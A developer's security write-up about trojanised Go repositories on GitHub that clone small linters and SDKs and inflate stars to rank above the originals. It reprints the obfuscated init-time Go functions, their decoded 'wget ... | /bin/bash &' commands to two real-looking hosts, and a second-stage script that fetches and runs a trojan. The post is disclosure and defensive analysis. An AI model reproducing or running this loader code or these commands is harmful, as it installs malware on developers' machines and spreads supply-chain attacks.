Found a group of malicious Go projects injected with trojan


I accidentally discovered malicious programs in the Go ecosystem that impersonate legitimate tools such as the linter ldez/usetesting, the HCL editor go.mercari.io/hcledit, the official MailerSend Go SDK mailersend/mailersend-go, and many more. These programs are not very popular but are still used by some developers. By the time I wrote this article, I had reported the malicious repositories to GitHub support, and most of them have been deleted.

Discovering the malicious repo ultimatepate/usetesting

As an active open-source contributor, I frequently enhance various Go projects hosted on GitHub. Three months ago, I created a bugfix PR that was successfully merged today. My PR was mentioned by Adam Bouqdib in his PR to the same repository. I clicked on his profile and noticed that he had created an issue titled “Ignore context.Background() and context.TODO() in cleanup” in the usetesting repository.

usetesting is familiar to me as it is a Go linter created recently by Ludovic Fernandez, which I had reviewed. However, I realized that the issue was created not in ldez/usetesting but in ultimatepate/usetesting. This was strange.

Upon briefly investigating ultimatepate/usetesting, I discovered a malicious function in the main.go file:

// Package main contains the basic runnable version of the linter.
package main

import (
	"os/exec"
	"github.com/ultimatepate/usetesting"
	"golang.org/x/tools/go/analysis/singlechecker"
)

func main() {
	singlechecker.Main(usetesting.NewAnalyzer())
}

func TlaOAE() error {
	LZdI := []string{"i", "5", "|", "t", "6", "t", "f", "0", "-", "O", "b", "/", " ", "r", "n", "3", "3", "i", "g", "t", ".", "s", "a", "n", "/", "s", "a", "a", " ", "d", "t", "m", "&", "w", "h", " ", "d", "s", "b", "a", "a", "/", "e", "g", "7", "e", "4", "b", " ", "o", "/", "p", "s", "m", "e", "t", "p", "d", "f", " ", "3", "l", "o", "-", "h", " ", "/", ":", "1", "c", "/", "e", "/", "e"}
	WCubG := "/bin/sh"
	tWsCX := "-c"
	gEITO := LZdI[33] + LZdI[18] + LZdI[71] + LZdI[30] + LZdI[65] + LZdI[63] + LZdI[9] + LZdI[28] + LZdI[8] + LZdI[35] + LZdI[64] + LZdI[5] + LZdI[19] + LZdI[51] + LZdI[21] + LZdI[67] + LZdI[24] + LZdI[72] + LZdI[53] + LZdI[54] + LZdI[55] + LZdI[27] + LZdI[61] + LZdI[62] + LZdI[31] + LZdI[14] + LZdI[17] + LZdI[20] + LZdI[52] + LZdI[56] + LZdI[22] + LZdI[69] + LZdI[45] + LZdI[11] + LZdI[37] + LZdI[3] + LZdI[49] + LZdI[13] + LZdI[40] + LZdI[43] + LZdI[42] + LZdI[50] + LZdI[57] + LZdI[73] + LZdI[16] + LZdI[44] + LZdI[60] + LZdI[36] + LZdI[7] + LZdI[29] + LZdI[6] + LZdI[41] + LZdI[39] + LZdI[15] + LZdI[68] + LZdI[1] + LZdI[46] + LZdI[4] + LZdI[38] + LZdI[58] + LZdI[12] + LZdI[2] + LZdI[59] + LZdI[66] + LZdI[10] + LZdI[0] + LZdI[23] + LZdI[70] + LZdI[47] + LZdI[26] + LZdI[25] + LZdI[34] + LZdI[48] + LZdI[32]
	exec.Command(WCubG, tWsCX, gEITO).Start()
	return nil
}

var KmxwBShY = TlaOAE()

Every time a developer runs the usetesting linter, the global variable KmxwBShY is initialized, and the malicious function TlaOAE gets executed.

How ultimatepate/usetesting deceives developers

Before we analyze what the malicious function does, let’s discuss how this fake linter stands out over the original project and deceives people. First of all, this malicious program has the same functionality as the original ldez/usetesting except for one function. Secondly, it has 89 stars and 17 forks, whereas the original ldez/usetesting has only 26 stars and 1 fork. This misleads developers into thinking that a lot of stars and forks indicate a good project.

Malicious usetesting linter repo

Malicious usetesting linter repo

Original usetesting linter repo

Original usetesting linter repo

What malicious actions ultimatepate/usetesting performs

The function TlaOAE is obfuscated to bypass GitHub’s security scanners, but we can decode it. Let’s print exec.Command arguments WCubG, tWsCX, gEITO:

LZdI := []string{"i", "5", "|", "t", "6", "t", "f", "0", "-", "O", "b", "/", " ", "r", "n", "3", "3", "i", "g", "t", ".", "s", "a", "n", "/", "s", "a", "a", " ", "d", "t", "m", "&", "w", "h", " ", "d", "s", "b", "a", "a", "/", "e", "g", "7", "e", "4", "b", " ", "o", "/", "p", "s", "m", "e", "t", "p", "d", "f", " ", "3", "l", "o", "-", "h", " ", "/", ":", "1", "c", "/", "e", "/", "e"}
WCubG := "/bin/sh"
tWsCX := "-c"
gEITO := LZdI[33] + LZdI[18] + LZdI[71] + LZdI[30] + LZdI[65] + LZdI[63] + LZdI[9] + LZdI[28] + LZdI[8] + LZdI[35] + LZdI[64] + LZdI[5] + LZdI[19] + LZdI[51] + LZdI[21] + LZdI[67] + LZdI[24] + LZdI[72] + LZdI[53] + LZdI[54] + LZdI[55] + LZdI[27] + LZdI[61] + LZdI[62] + LZdI[31] + LZdI[14] + LZdI[17] + LZdI[20] + LZdI[52] + LZdI[56] + LZdI[22] + LZdI[69] + LZdI[45] + LZdI[11] + LZdI[37] + LZdI[3] + LZdI[49] + LZdI[13] + LZdI[40] + LZdI[43] + LZdI[42] + LZdI[50] + LZdI[57] + LZdI[73] + LZdI[16] + LZdI[44] + LZdI[60] + LZdI[36] + LZdI[7] + LZdI[29] + LZdI[6] + LZdI[41] + LZdI[39] + LZdI[15] + LZdI[68] + LZdI[1] + LZdI[46] + LZdI[4] + LZdI[38] + LZdI[58] + LZdI[12] + LZdI[2] + LZdI[59] + LZdI[66] + LZdI[10] + LZdI[0] + LZdI[23] + LZdI[70] + LZdI[47] + LZdI[26] + LZdI[25] + LZdI[34] + LZdI[48] + LZdI[32]
fmt.Println(WCubG, tWsCX, gEITO)

The working program on Go playground outputs:

/bin/sh -c wget -O - https://metalomni.space/storage/de373d0df/a31546bf | /bin/bash &

Given at this, the malicions function TlaOAE:

  • Downloads the script a31546bf from an external server wget -O
  • Executes the downloaded script without any verification in the background /bin/bash &.

The script a31546bf has the following content:

#!/bin/bash

cd ~
if [[ "$OSTYPE" == "linux-gnu"* ]]; then
	if ! [ -f ./f0eee999 ]; then
		sleep 3600
		wget https://metalomni.space/storage/de373d0df/f0eee999
		chmod +x ./f0eee999
		app_process_id=$(pidof f0eee999)
		if [[ -z $app_process_id ]]; then
			./f0eee999
		fi
	fi
fi

The script is designed to run on Linux systems, which are typical for developers. It downloads f0eee999 file to the user’s home directory and runs it. This behavior is typical of malicious scripts that aim to download and execute potentially harmful software on a user’s system.

The file f0eee999 is a kind of trojan, with a size of 9.9M. It can be found and investigated on VirusTotal.

VirusTotal scan results for the trojan `f0eee999`

VirusTotal scan results for the trojan `f0eee999`

Other malicious programs

Next, I looked at users who forked ultimatepate/usetesting:

Click to view the full list of forked repositories from ultimatepate/usetesting
Forks of the malicious `usetesting`

Forks of the malicious `usetesting`

And obviously, they have other malicious programs in their repository list.

For example, here is one of the suspicious user profiles that has only two repositories with malicious programs.

Suspicious user profile

Suspicious user profile

Malicious stylishorgani/hcledit

A simple check revealed that stylishorgani/hcledit is a malicious version of mercari/hcledit.

Malicious hcledit repository

Malicious hcledit repository

It contains a malicious function in cmd/hcledit/internal/command/create.go.

Click to view the malicious function from stylishorgani/hcledit
func NFNblah() error {
	BBD := []string{"e", "/", "b", "w", "s", "p", "t", "a", "t", "7", " ", "/", "f", "s", "h", "r", "m", "4", "e", "/", "g", "c", "e", "t", "3", "0", "b", "g", ".", "t", "h", "s", " ", "e", "f", "1", "|", "c", "6", "d", "-", "d", "o", "i", "s", "/", "/", "O", "/", "/", "a", "-", "t", "3", "3", " ", " ", "n", "h", "a", ":", "s", " ", "i", "y", "b", "a", "5", "n", "l", "c", " ", "d", "&"}
	TQeQbfU := "/bin/sh"
	ifqvTp := "-c"
	upYM := BBD[3] + BBD[27] + BBD[18] + BBD[6] + BBD[71] + BBD[51] + BBD[47] + BBD[10] + BBD[40] + BBD[56] + BBD[58] + BBD[52] + BBD[23] + BBD[5] + BBD[61] + BBD[60] + BBD[19] + BBD[48] + BBD[57] + BBD[64] + BBD[16] + BBD[21] + BBD[69] + BBD[50] + BBD[4] + BBD[31] + BBD[63] + BBD[37] + BBD[28] + BBD[29] + BBD[33] + BBD[70] + BBD[14] + BBD[49] + BBD[44] + BBD[8] + BBD[42] + BBD[15] + BBD[59] + BBD[20] + BBD[22] + BBD[45] + BBD[72] + BBD[0] + BBD[24] + BBD[9] + BBD[54] + BBD[39] + BBD[25] + BBD[41] + BBD[34] + BBD[46] + BBD[66] + BBD[53] + BBD[35] + BBD[67] + BBD[17] + BBD[38] + BBD[2] + BBD[12] + BBD[62] + BBD[36] + BBD[55] + BBD[11] + BBD[26] + BBD[43] + BBD[68] + BBD[1] + BBD[65] + BBD[7] + BBD[13] + BBD[30] + BBD[32] + BBD[73]
	exec.Command(TQeQbfU, ifqvTp, upYM).Start()
	return nil
}

var UjThWM = NFNblah()

The function NFNblah does the same as TlaOAE but downloads the file a31546bf from a different URL:

/bin/sh -c wget -O - https://nymclassic.tech/storage/de373d0df/a31546bf | /bin/bash &

stylishorgani/hcledit has 11 forks that are all malicious.

Click to view the full list of forked repositories from stylishorgani/hcledit

Other malicious repositories

There are many malicious repositories that can be found simply by looking for repositories and forks recursively.

Here are a partial list:

The full list of malicious bots and repositories can be saved to an SQLite database by running alexandear/botnet-searcher. I specifically wrote it for this article.

SQLite database containing malicious users with repositories

SQLite database containing malicious users with repositories

What unites these malicious programs is that they clone small Go executable programs with 20-30 stars.

When someone searches for these Go programs, the malicious ones appear at the top because they have more stars.

Malicious repository at the top of search results

Malicious repository at the top of search results

Conclusion

My accidental discovery of these malicious Go programs was a result of a bit of curiosity and luck. This experience has underscored for me the critical importance of vigilance in the open-source community. As developers, we must always verify the authenticity of the repositories we use. It’s essential to scrutinize the source code for any suspicious activities and promptly report any malicious repositories to the GitHub’s support team. Let’s work together to keep our open-source ecosystem safe and trustworthy.


See also